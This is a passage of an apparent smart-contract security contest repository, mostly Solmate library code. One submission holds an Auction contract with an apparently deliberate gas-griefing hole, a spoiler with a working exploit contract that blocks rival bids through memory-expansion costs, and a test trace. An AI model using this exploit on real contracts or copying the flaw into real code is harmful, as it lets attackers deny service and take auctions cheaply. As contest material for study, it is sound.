/*///////////////////////////////////////////////////////////////\n                              ERC165 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {\n        return\n            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165\n            interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721\n            interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(address to, uint256 id) internal virtual {\n        require(to != address(0), \"INVALID_RECIPIENT\");\n\n        require(ownerOf[id] == address(0), \"ALREADY_MINTED\");\n\n        // Counter overflow is incredibly unrealistic.\n        unchecked {\n            totalSupply++;\n\n            balanceOf[to]++;\n        }\n\n        ownerOf[id] = to;\n\n        emit Transfer(address(0), to, id);\n    }\n\n    function _burn(uint256 id) internal virtual {\n        address owner = ownerOf[id];\n\n        require(ownerOf[id] != address(0), \"NOT_MINTED\");\n\n        // Ownership check above ensures no underflow.\n        unchecked {\n            totalSupply--;\n\n            balanceOf[owner]--;\n        }\n\n        delete ownerOf[id];\n\n        emit Transfer(owner, address(0), id);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL SAFE MINT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _safeMint(address to, uint256 id) internal virtual {\n        _mint(to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, \"\") ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _safeMint(\n        address to,\n        uint256 id,\n        bytes memory data\n    ) internal virtual {\n        _mint(to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n}\n\n/// @notice A generic interface for a contract which properly accepts ERC721 tokens.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)\ninterface ERC721TokenReceiver {\n    function onERC721Received(\n        address operator,\n        address from,\n        uint256 id,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/WETH.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"./ERC20.sol\";\n\nimport {SafeTransferLib} from \"../utils/SafeTransferLib.sol\";\n\n/// @notice Minimalist and modern Wrapped Ether implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/WETH.sol)\n/// @author Inspired by WETH9 (https://github.com/dapphub/ds-weth/blob/master/src/weth9.sol)\ncontract WETH is ERC20(\"Wrapped Ether\", \"WETH\", 18) {\n    using SafeTransferLib for address;\n\n    event Deposit(address indexed from, uint256 amount);\n\n    event Withdrawal(address indexed to, uint256 amount);\n\n    function deposit() public payable virtual {\n        _mint(msg.sender, msg.value);\n\n        emit Deposit(msg.sender, msg.value);\n    }\n\n    function withdraw(uint256 amount) public virtual {\n        _burn(msg.sender, amount);\n\n        emit Withdrawal(msg.sender, amount);\n\n        msg.sender.safeTransferETH(amount);\n    }\n\n    receive() external payable virtual {\n        deposit();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/Bytes32AddressLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Library for converting between addresses and bytes32 values.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/Bytes32AddressLib.sol)\nlibrary Bytes32AddressLib {\n    function fromLast20Bytes(bytes32 bytesValue) internal pure returns (address) {\n        return address(uint160(uint256(bytesValue)));\n    }\n\n    function fillLast12Bytes(address addressValue) internal pure returns (bytes32) {\n        return bytes32(bytes20(addressValue));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/CREATE3.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Bytes32AddressLib} from \"./Bytes32AddressLib.sol\";\n\n/// @notice Deploy to deterministic addresses without an initcode factor.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/CREATE3.sol)\n/// @author Modified from 0xSequence (https://github.com/0xSequence/create3/blob/master/contracts/Create3.sol)\nlibrary CREATE3 {\n    using Bytes32AddressLib for bytes32;\n\n    //--------------------------------------------------------------------------------//\n    // Opcode     | Opcode + Arguments    | Description      | Stack View             //\n    //--------------------------------------------------------------------------------//\n    // 0x36       |  0x36                 | CALLDATASIZE     | size                   //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 size                 //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 0 size               //\n    // 0x37       |  0x37                 | CALLDATACOPY     |                        //\n    // 0x36       |  0x36                 | CALLDATASIZE     | size                   //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 size                 //\n    // 0x34       |  0x34                 | CALLVALUE        | value 0 size           //\n    // 0xf0       |  0xf0                 | CREATE           | newContract            //\n    //--------------------------------------------------------------------------------//\n    // Opcode     | Opcode + Arguments    | Description      | Stack View             //\n    //--------------------------------------------------------------------------------//\n    // 0x67       |  0x67XXXXXXXXXXXXXXXX | PUSH8 bytecode   | bytecode               //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 bytecode             //\n    // 0x52       |  0x52                 | MSTORE           |                        //\n    // 0x60       |  0x6008               | PUSH1 08         | 8                      //\n    // 0x60       |  0x6018               | PUSH1 18         | 24 8                   //\n    // 0xf3       |  0xf3                 | RETURN           |                        //\n    //--------------------------------------------------------------------------------//\n    bytes internal constant PROXY_BYTECODE = hex\"67_36_3d_3d_37_36_3d_34_f0_3d_52_60_08_60_18_f3\";\n\n    bytes32 internal constant PROXY_BYTECODE_HASH = keccak256(PROXY_BYTECODE);\n\n    function deploy(\n        bytes32 salt,\n        bytes memory creationCode,\n        uint256 value\n    ) internal returns (address deployed) {\n        bytes memory proxyChildBytecode = PROXY_BYTECODE;\n\n        address proxy;\n        assembly {\n            // Deploy a new contract with our pre-made bytecode via CREATE2.\n            // We start 32 bytes into the code to avoid copying the byte length.\n            proxy := create2(0, add(proxyChildBytecode, 32), mload(proxyChildBytecode), salt)\n        }\n        require(proxy != address(0), \"DEPLOYMENT_FAILED\");\n\n        deployed = getDeployed(salt);\n        (bool success, ) = proxy.call{value: value}(creationCode);\n        require(success && deployed.code.length != 0, \"INITIALIZATION_FAILED\");\n    }\n\n    function getDeployed(bytes32 salt) internal view returns (address) {\n        address proxy = keccak256(\n            abi.encodePacked(\n                // Prefix:\n                bytes1(0xFF),\n                // Creator:\n                address(this),\n                // Salt:\n                salt,\n                // Bytecode hash:\n                PROXY_BYTECODE_HASH\n            )\n        ).fromLast20Bytes();\n\n        return\n            keccak256(\n                abi.encodePacked(\n                    // 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01)\n                    // 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex)\n                    hex\"d6_94\",\n                    proxy,\n                    hex\"01\" // Nonce of the proxy contract (1)\n                )\n            ).fromLast20Bytes();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/FixedPointMathLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Arithmetic library with operations for fixed-point numbers.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)\nlibrary FixedPointMathLib {\n    /*///////////////////////////////////////////////////////////////\n                            COMMON BASE UNITS\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 internal constant YAD = 1e8;\n    uint256 internal constant WAD = 1e18;\n    uint256 internal constant RAY = 1e27;\n    uint256 internal constant RAD = 1e45;\n\n    /*///////////////////////////////////////////////////////////////\n                         FIXED POINT OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function fmul(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) internal pure returns (uint256 z) {\n        assembly {\n            // Store x * y in z for now.\n            z := mul(x, y)\n\n            // Equivalent to require(x == 0 || (x * y) / x == y)\n            if iszero(or(iszero(x), eq(div(z, x), y))) {\n                revert(0, 0)\n            }\n\n            // If baseUnit is zero this will return zero instead of reverting.\n            z := div(z, baseUnit)\n        }\n    }\n\n    function fdiv(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) internal pure returns (uint256 z) {\n        assembly {\n            // Store x * baseUnit in z for now.\n            z := mul(x, baseUnit)\n\n            // Equivalent to require(y != 0 && (x == 0 || (x * baseUnit) / x == baseUnit))\n            if iszero(and(iszero(iszero(y)), or(iszero(x), eq(div(z, x), baseUnit)))) {\n                revert(0, 0)\n            }\n\n            // We ensure y is not zero above, so there is never division by zero here.\n            z := div(z, y)\n        }\n    }\n\n    function fpow(\n        uint256 x,\n        uint256 n,\n        uint256 baseUnit\n    ) internal pure returns (uint256 z) {\n        assembly {\n            switch x\n            case 0 {\n                switch n\n                case 0 {\n                    // 0 ** 0 = 1\n                    z := baseUnit\n                }\n                default {\n                    // 0 ** n = 0\n                    z := 0\n                }\n            }\n            default {\n                switch mod(n, 2)\n                case 0 {\n                    // If n is even, store baseUnit in z for now.\n                    z := baseUnit\n                }\n                default {\n                    // If n is odd, store x in z for now.\n                    z := x\n                }\n\n                // Shifting right by 1 is like dividing by 2.\n                let half := shr(1, baseUnit)\n\n                for {\n                    // Shift n right by 1 before looping to halve it.\n                    n := shr(1, n)\n                } n {\n                    // Shift n right by 1 each iteration to halve it.\n                    n := shr(1, n)\n                } {\n                    // Revert immediately if x ** 2 would overflow.\n                    // Equivalent to iszero(eq(div(xx, x), x)) here.\n                    if shr(128, x) {\n                        revert(0, 0)\n                    }\n\n                    // Store x squared.\n                    let xx := mul(x, x)\n\n                    // Round to the nearest number.\n                    let xxRound := add(xx, half)\n\n                    // Revert if xx + half overflowed.\n                    if lt(xxRound, xx) {\n                        revert(0, 0)\n                    }\n\n                    // Set x to scaled xxRound.\n                    x := div(xxRound, baseUnit)\n\n                    // If n is even:\n                    if mod(n, 2) {\n                        // Compute z * x.\n                        let zx := mul(z, x)\n\n                        // If z * x overflowed:\n                        if iszero(eq(div(zx, x), z)) {\n                            // Revert if x is non-zero.\n                            if iszero(iszero(x)) {\n                                revert(0, 0)\n                            }\n                        }\n\n                        // Round to the nearest number.\n                        let zxRound := add(zx, half)\n\n                        // Revert if zx + half overflowed.\n                        if lt(zxRound, zx) {\n                            revert(0, 0)\n                        }\n\n                        // Return properly scaled zxRound.\n                        z := div(zxRound, baseUnit)\n                    }\n                }\n            }\n        }\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                        GENERAL NUMBER UTILITIES\n    //////////////////////////////////////////////////////////////*/\n\n    function sqrt(uint256 x) internal pure returns (uint256 z) {\n        assembly {\n            // Start off with z at 1.\n            z := 1\n\n            // Used below to help find a nearby power of 2.\n            let y := x\n\n            // Find the lowest power of 2 that is at least sqrt(x).\n            if iszero(lt(y, 0x100000000000000000000000000000000)) {\n                y := shr(128, y) // Like dividing by 2 ** 128.\n                z := shl(64, z)\n            }\n            if iszero(lt(y, 0x10000000000000000)) {\n                y := shr(64, y) // Like dividing by 2 ** 64.\n                z := shl(32, z)\n            }\n            if iszero(lt(y, 0x100000000)) {\n                y := shr(32, y) // Like dividing by 2 ** 32.\n                z := shl(16, z)\n            }\n            if iszero(lt(y, 0x10000)) {\n                y := shr(16, y) // Like dividing by 2 ** 16.\n                z := shl(8, z)\n            }\n            if iszero(lt(y, 0x100)) {\n                y := shr(8, y) // Like dividing by 2 ** 8.\n                z := shl(4, z)\n            }\n            if iszero(lt(y, 0x10)) {\n                y := shr(4, y) // Like dividing by 2 ** 4.\n                z := shl(2, z)\n            }\n            if iszero(lt(y, 0x8)) {\n                // Equivalent to 2 ** z.\n                z := shl(1, z)\n            }\n\n            // Shifting right by 1 is like dividing by 2.\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n\n            // Compute a rounded down version of z.\n            let zRoundDown := div(x, z)\n\n            // If zRoundDown is smaller, use it.\n            if lt(zRoundDown, z) {\n                z := zRoundDown\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/ReentrancyGuard.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Gas optimized reentrancy protection for smart contracts.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)\nabstract contract ReentrancyGuard {\n    uint256 private reentrancyStatus = 1;\n\n    modifier nonReentrant() {\n        require(reentrancyStatus == 1, \"REENTRANCY\");\n\n        reentrancyStatus = 2;\n\n        _;\n\n        reentrancyStatus = 1;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/SSTORE2.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Read and write to persistent storage at a fraction of the cost.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SSTORE2.sol)\n/// @author Modified from 0xSequence (https://github.com/0xSequence/sstore2/blob/master/contracts/SSTORE2.sol)\nlibrary SSTORE2 {\n    uint256 internal constant DATA_OFFSET = 1; // We skip the first byte as it's a STOP opcode to ensure the contract can't be called.\n\n    /*///////////////////////////////////////////////////////////////\n                               WRITE LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function write(bytes memory data) internal returns (address pointer) {\n        // Prefix the bytecode with a STOP opcode to ensure it cannot be called.\n        bytes memory runtimeCode = abi.encodePacked(hex\"00\", data);\n\n        bytes memory creationCode = abi.encodePacked(\n            //---------------------------------------------------------------------------------------------------------------//\n            // Opcode  | Opcode + Arguments  | Description  | Stack View                                                     //\n            //---------------------------------------------------------------------------------------------------------------//\n            // 0x60    |  0x600B             | PUSH1 11     | codeOffset                                                     //\n            // 0x59    |  0x59               | MSIZE        | 0 codeOffset                                                   //\n            // 0x81    |  0x81               | DUP2         | codeOffset 0 codeOffset                                        //\n            // 0x38    |  0x38               | CODESIZE     | codeSize codeOffset 0 codeOffset                               //\n            // 0x03    |  0x03               | SUB          | (codeSize - codeOffset) 0 codeOffset                           //\n            // 0x80    |  0x80               | DUP          | (codeSize - codeOffset) (codeSize - codeOffset) 0 codeOffset   //\n            // 0x92    |  0x92               | SWAP3        | codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset)   //\n            // 0x59    |  0x59               | MSIZE        | 0 codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //\n            // 0x39    |  0x39               | CODECOPY     | 0 (codeSize - codeOffset)                                      //\n            // 0xf3    |  0xf3               | RETURN       |                                                                //\n            //---------------------------------------------------------------------------------------------------------------//\n            hex\"60_0B_59_81_38_03_80_92_59_39_F3\", // Returns all code in the contract except for the first 11 (0B in hex) bytes.\n            runtimeCode // The bytecode we want the contract to have after deployment. Capped at 1 byte less than the code size limit.\n        );\n\n        assembly {\n            // Deploy a new contract with the generated creation code.\n            // We start 32 bytes into the code to avoid copying the byte length.\n            pointer := create(0, add(creationCode, 32), mload(creationCode))\n        }\n\n        require(pointer != address(0), \"DEPLOYMENT_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                               READ LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function read(address pointer) internal view returns (bytes memory) {\n        return readBytecode(pointer, DATA_OFFSET, pointer.code.length - DATA_OFFSET);\n    }\n\n    function read(address pointer, uint256 start) internal view returns (bytes memory) {\n        start += DATA_OFFSET;\n\n        return readBytecode(pointer, start, pointer.code.length - start);\n    }\n\n    function read(\n        address pointer,\n        uint256 start,\n        uint256 end\n    ) internal view returns (bytes memory) {\n        start += DATA_OFFSET;\n        end += DATA_OFFSET;\n\n        require(pointer.code.length >= end, \"OUT_OF_BOUNDS\");\n\n        return readBytecode(pointer, start, end - start);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                         INTERNAL HELPER LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function readBytecode(\n        address pointer,\n        uint256 start,\n        uint256 size\n    ) private view returns (bytes memory data) {\n        assembly {\n            // Get a pointer to some free memory.\n            data := mload(0x40)\n\n            // Update the free memory pointer to prevent overriding our data.\n            // We use and(x, not(31)) as a cheaper equivalent to sub(x, mod(x, 32)).\n            // Adding 31 to size and running the result through the logic above ensures\n            // the memory pointer remains word-aligned, following the Solidity convention.\n            mstore(0x40, add(data, and(add(add(size, 32), 31), not(31))))\n\n            // Store the size of the data in the first 32 byte chunk of free memory.\n            mstore(data, size)\n\n            // Copy the code into memory right after the 32 bytes we used to store the size.\n            extcodecopy(pointer, add(data, 32), start, size)\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/SafeCastLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Safe unsigned integer casting library that reverts on overflow.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeCastLib.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)\nlibrary SafeCastLib {\n    function safeCastTo248(uint256 x) internal pure returns (uint248 y) {\n        require(x <= type(uint248).max);\n\n        y = uint248(x);\n    }\n\n    function safeCastTo128(uint256 x) internal pure returns (uint128 y) {\n        require(x <= type(uint128).max);\n\n        y = uint128(x);\n    }\n\n    function safeCastTo96(uint256 x) internal pure returns (uint96 y) {\n        require(x <= type(uint96).max);\n\n        y = uint96(x);\n    }\n\n    function safeCastTo64(uint256 x) internal pure returns (uint64 y) {\n        require(x <= type(uint64).max);\n\n        y = uint64(x);\n    }\n\n    function safeCastTo32(uint256 x) internal pure returns (uint32 y) {\n        require(x <= type(uint32).max);\n\n        y = uint32(x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/SafeTransferLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../tokens/ERC20.sol\";\n\n/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)\n/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)\n/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.\nlibrary SafeTransferLib {\n    /*///////////////////////////////////////////////////////////////\n                            ETH OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function safeTransferETH(address to, uint256 amount) internal {\n        bool callStatus;\n\n        assembly {\n            // Transfer the ETH and store if it succeeded or not.\n            callStatus := call(gas(), to, amount, 0, 0, 0, 0)\n        }\n\n        require(callStatus, \"ETH_TRANSFER_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                           ERC20 OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function safeTransferFrom(\n        ERC20 token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"from\" argument.\n            mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 68), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 100 because the calldata length is 4 + 32 * 3.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"TRANSFER_FROM_FAILED\");\n    }\n\n    function safeTransfer(\n        ERC20 token,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 36), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 68 because the calldata length is 4 + 32 * 2.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"TRANSFER_FAILED\");\n    }\n\n    function safeApprove(\n        ERC20 token,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 36), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 68 because the calldata length is 4 + 32 * 2.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"APPROVE_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                         INTERNAL HELPER LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {\n        assembly {\n            // Get how many bytes the call returned.\n            let returnDataSize := returndatasize()\n\n            // If the call reverted:\n            if iszero(callStatus) {\n                // Copy the revert message into memory.\n                returndatacopy(0, 0, returnDataSize)\n\n                // Revert with the same message.\n                revert(0, returnDataSize)\n            }\n\n            switch returnDataSize\n            case 32 {\n                // Copy the return data into memory.\n                returndatacopy(0, 0, returnDataSize)\n\n                // Set success to whether it returned true.\n                success := iszero(iszero(mload(0)))\n            }\n            case 0 {\n                // There was no return data.\n                success := 1\n            }\n            default {\n                // It returned some malformed input.\n                success := 0\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/spoiler.md",
    "content": "KingOfAuction\n=============\n\nA bidder can block any other bid from succeeding by registering themselves as the highest and second highest bidder with the following simple contract:\n\n```\ncontract C{\n    function youHaveBeenOutbid(uint newBid) external payable returns(bool) {\n        assembly{\n            return(0x0, 0x1a5000)\n        }\n    }\n}\n```\n\nWhy is that?\n------------\n\nEven though there is fixed amount of return data expected for `youHaveBeenOutbid`, the solidity compiler still moves the \"free memory pointer\" by the amount of return data it receives. That is even though that data is never read.\n\nHence the attacker tries to return as much data as possible within the 6 million gas. Changing the memory pointer itself is not the problem. However, the final `Bid` event that gets emitted requires a memory write. Now the `Auction` contract has to pay for the memory expansion. As the memory expansion costs are quadratic, the attacker can make the `bid()` execution as expensive as 34,696,239 gas (see provided tests). Hence, it can never be executed in the 30 million block gas limit.\n\nRelevant Test Output (obtained using `forge test -vvvv`):\n\n```\n  [34706581] ContractTest::testExample()\n    ├─ [0] VM::deal(0xb4c79dab8f259c7aee6e5b2aa729821864227e84, 10000000000000000000)\n    │   └─ ← ()\n    ├─ [34696239] Auction::bid{value: 2000000000000000000}()\n    │   ├─ [5833586] ContractTest::youHaveBeenOutbid{value: 1000000000000000000}(2000000000000000000)\n    │   │   └─ ← false\n    │   ├─ [5833586] ContractTest::youHaveBeenOutbid{value: 1000000000000000000}(2000000000000000000)\n    │   │   └─ ← false\n    │   ├─ emit Bid(newBid: 2000000000000000000)\n    │   └─ ← ()\n    └─ ← ()\n```\n\n\nWhat is there to gain?\n----------------------\n\nThe attacker can get all their favorite NFTs for super cheap. As nobody else can bid. Super nice.\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/src/Auction.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.12;\n\ninterface IERC721 {\n    function transferFrom(address from, address to, uint256 tokenId) external;\n}\n\ninterface Bidder{\n    function youHaveBeenOutbid(uint newBid) external payable returns (bool);\n}\n\ncontract Auction{\n\n    address payable public secondHighestBidder;\n    address payable public highestBidder;\n    IERC721 public nft;\n    uint public id;\n    uint public lastBid;\n    uint public endOfAuction;\n    address payable public immutable donation = payable(0x165CD37b4C644C2921454429E7F9358d18A45e14);\n    event Bid(uint newBid);\n\n    function setup(IERC721 _nft, uint _id, uint minBid) public {\n        require(endOfAuction == 0);\n        nft = _nft;\n        id = _id;\n        nft.transferFrom(msg.sender, address(this), _id);\n        secondHighestBidder = payable(msg.sender);\n        highestBidder = payable(msg.sender);\n        endOfAuction = block.timestamp + 1 days;\n        lastBid = minBid;\n    }\n\n    // Make a bid, needs to be 10% higher than previous and even\n    function bid() external payable {\n        require(block.timestamp < endOfAuction);\n        endOfAuction = block.timestamp + 1 days;\n        require(msg.value >= lastBid * 11 / 10 && msg.value % 2 == 0);\n        address payable _secondHighestBidder = secondHighestBidder;\n        address payable _highestBidder = highestBidder;\n        lastBid = msg.value;\n        secondHighestBidder = _highestBidder;\n        _highestBidder = payable(msg.sender);\n        // Send Back Funds to previous Bidders\n        sendBack(_secondHighestBidder);\n        sendBack(_highestBidder);\n        // The events might be incorrectly ordered in case of reentrancy but that is fine\n        emit Bid(msg.value);\n    }\n\n    // Sends back funds to previous bidders\n    function sendBack(address payable target) internal{\n        uint amount = msg.value / 2;\n        // Notify the previous bidder\n        try Bidder(target).youHaveBeenOutbid{value: amount, gas: 6_000_000}(msg.value){}\n        catch{\n            // Try to send it back to EOAs\n            if(!target.send(amount)){\n                // We tried... Let's donate\n                donation.transfer(amount);\n            }\n        } \n    }\n\n    // Finish the auction by sending the NFT\n    function finish() external {\n        require(block.timestamp >= endOfAuction);\n        nft.transferFrom(address(this), highestBidder, id);\n    }\n\n}\n\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/src/test/Contract.t.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.12;\n\nimport \"ds-test/test.sol\";\nimport \"../Auction.sol\";\nimport \"solmate/tokens/ERC721.sol\";\n\ninterface CheatCodes {\n      function deal(address, uint) external;\n}\n\ncontract NFT is ERC721{\n\n    constructor() ERC721(\"Test\", \"TST\"){\n    }\n\n    function mint(uint id) public {\n        _mint(msg.sender, id);\n    }\n\n    function tokenURI(uint id) public view override returns(string memory){\n    }\n}\n\ncontract ContractTest is DSTest {\n    CheatCodes cheats = CheatCodes(HEVM_ADDRESS);\n    Auction a;\n    NFT nft;\n    function setUp() public {\n        nft = new NFT();\n        nft.mint(1);\n        a = new Auction();\n        nft.approve(address(a), 1);\n        a.setup(IERC721(address(nft)), 1, 10**18);\n    }\n\n    function testExample() public {\n        cheats.deal(address(this), 10 * 10**18);\n        a.bid{value: 2 * 10**18}();\n    }\n\n    receive() external payable {\n    }\n\n    function youHaveBeenOutbid(uint newBid) external payable returns(bool) {\n        newBid;\n        assembly{\n            return(0x0, 0x1a5000)\n        }\n    } \n\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/README",
    "content": "UniswapV2 but better\n--------------------\n\nUniswapV2 is great. We made it even better:\n\n- Overall reduced gas consumption\n  - Actual DEX only uses a single storage slot\n  - For single-pair swaps the Router is integrated with the pair, hence you don't need to interact with the Router and save significantly thanks to EIP-2929.\n  - Doesn't require approving the LP token before the burn\n- Allows unbalanced addition of liquidity (who has tokens in perfect ratio?)\n- LP Minting fees (as unbalaned minting is allowed) to prevent Just-in-Time liquidity\n- New Error codes to reduce code size\n- Streamlined the code by removing unnecessary checks\n- Removed rarely used oracle\n- Restricted to reasonable subset of ERC20 to simplify code\n- No extra fees EVER\n \n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/foundry.toml",
    "content": "[default]\nsrc = 'src'\nout = 'out'\nlibs = ['lib']\nremappings = ['ds-test/=lib/ds-test/src/']\n\n# See more config options https://github.com/gakonst/foundry/tree/master/config"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
